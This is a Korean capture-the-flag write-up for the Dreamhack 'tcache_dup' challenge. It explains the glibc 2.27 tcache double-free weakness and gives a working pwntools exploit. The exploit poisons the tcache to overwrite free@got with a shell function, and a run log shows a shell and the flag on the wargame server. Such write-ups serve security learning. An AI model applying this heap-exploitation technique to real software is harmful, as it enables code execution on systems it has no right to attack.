dreamhack - tcache_dup writeup
[dreamhack] tcache_dup writeup
1. 문제

이 문제는 작동하고 있는 서비스(tcache_dup)의 바이너리와 소스코드가 주어집니다.
Tcache dup 공격 기법을 이용한 익스플로잇을 작성하여 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
int create(int cnt) {
int size;
if (cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if (!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if (idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while (1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
- case 1:
create
함수를 통해size
와data
를 입력받아서 메모리를 할당 - case 2:
delete
함수를 통해idx
를 입력받아서 해당 메모리를 free
libc 2.27
버전을 사용하여 tcache
에 대한 double free
를 검사하지않는다.
2.1. tcache
glibc 2.27
버전부터 성능 향상을 위해 tcache (thread-local cache)
라는 것이 도입되었고, 사이즈별로 최대 7개의 청크를 빠르게 재사용하기 위해 스레드별로 캐싱한다. fastbin
과 비슷하지만, 훨씬 더 빠르고 스레드마다 독립적인 특징이 있다.
2.2. tcache dup 취약점
초기버전 (glibc 2.27 - 2.29
)의 tcache
는 double free
를 막지않았고, 이에 따라 공격이 가능하다.
tcache
는 크기별로 아래와 같이 단순 연결 리스트를 유지한다.
typedef struct tcache_entry {
struct tcache_entry* next;
} tcache_entry;
tcache
는 기본적으로 fd (next 포인터)
를 그대로 따라가기 때문에, 이미 free
된 청크의 fd
를 조작해서 원하는 주소에 malloc
이 가능하다. 그리고 이렇게 할당받은 메모리에 데이터를 넣을 수 있다면 exploit이 가능해진다.
2.3. tcache dup 시나리오
- 1. 청크를 하나 할당
- 2. 해당 청크를 두번 free
- 3. 첫번째 재할당 후 해당 청크에 데이터를 써서
fd
덮기- 이때
tcache
에 남아있는 청크의fd
가 조작됨
- 이때
- 4. 두번째 재할당 (여기까지 같은 청크 재사용)
- 이때 두번째 재할당에 사용된 청크의
fd
가 조작되어 임의 주소를 가리키고 있음 - 다음 할당에서는 조작된 임의주소가 할당됨
- 이때 두번째 재할당에 사용된 청크의
- 5. 세번째 할당시 조작된 임의주소가 할당되어 리턴됨
- 이 주소에 원하는 데이터를 쓸 수 있음
따라서 전체 흐름은 아래와 같다. (Thanks to GPT)
[ 초기 상태 ]
tcache[0x40] = NULL
[ delete(0) 두 번 ]
tcache[0x40] = chunk_0 → chunk_0 → NULL
[ malloc() 1 → fd = free@got ]
chunk_0.fd = free@got
tcache[0x40] = chunk_0(fd=free@got) → NULL
[ malloc() 2 ]
리턴: chunk_0
tcache[0x40] = free@got → NULL
[ malloc() 3 ]
리턴: free@got ← 우리가 조작한 주소
이곳에 get_shell 주소 덮음!
그러면 최종 exploit은 아래와 같다.
from pwn import *
p = process("./tcache_dup")
p = remote("host3.dreamhack.games", 11648)
elf = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so")
# 1. malloc chunk
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"a")
# 2. double free chunk
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx: ", b"0")
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx: ", b"0")
# 3. re-malloc chunk and write 1->fd as free@got address
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", p64(elf.got["free"]))
# 4. re-malloc chunk, this will update tcache's head to free@got
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", b"b")
# 5. malloc new chunk, this will allow us to write get_shell address at free@got
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Size: ", b"48")
p.sendafter(b"Data: ", p64(elf.symbols["get_shell"]))
# 5. execute free in case 2
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx: ", b"0")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/tcache_dup$ python3 e_tcache_dup.py
[+] Starting local process './tcache_dup': pid 2545457
[+] Opening connection to host3.dreamhack.games on port 11648: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/tcache_dup/tcache_dup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/tcache_dup/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
id
[*] Switching to interactive mode
$
$ id
$
uid=1000(tcache_dup) gid=1000(tcache_dup) groups=1000(tcache_dup)
$ cat flag
DH{8fb591cfc1a2e30d0a33d53ace8e4973d40c28a4eb8d6e20581a2e8bdd393a91}
처음 tcache dup
취약점에 대해서 공부하다보니 fd
를 덮고 할당하는게 너무너무 헷갈렸다. 그래서 처음에는 free
두번하고, malloc
도 두번하면되겠네! 했는데 그게 아니었다. fd
를 조작한다는 것은 조작된 청크의 다음에 가리키게되는 주소를 바꾸는 것이기 때문에 한번 더 할당해야 조작한 주소에 메모리를 할당할 수 있다는 것… tcache
가 어떻게 돌아가는지 이제야 좀 알 것 같다.
아무튼 해결~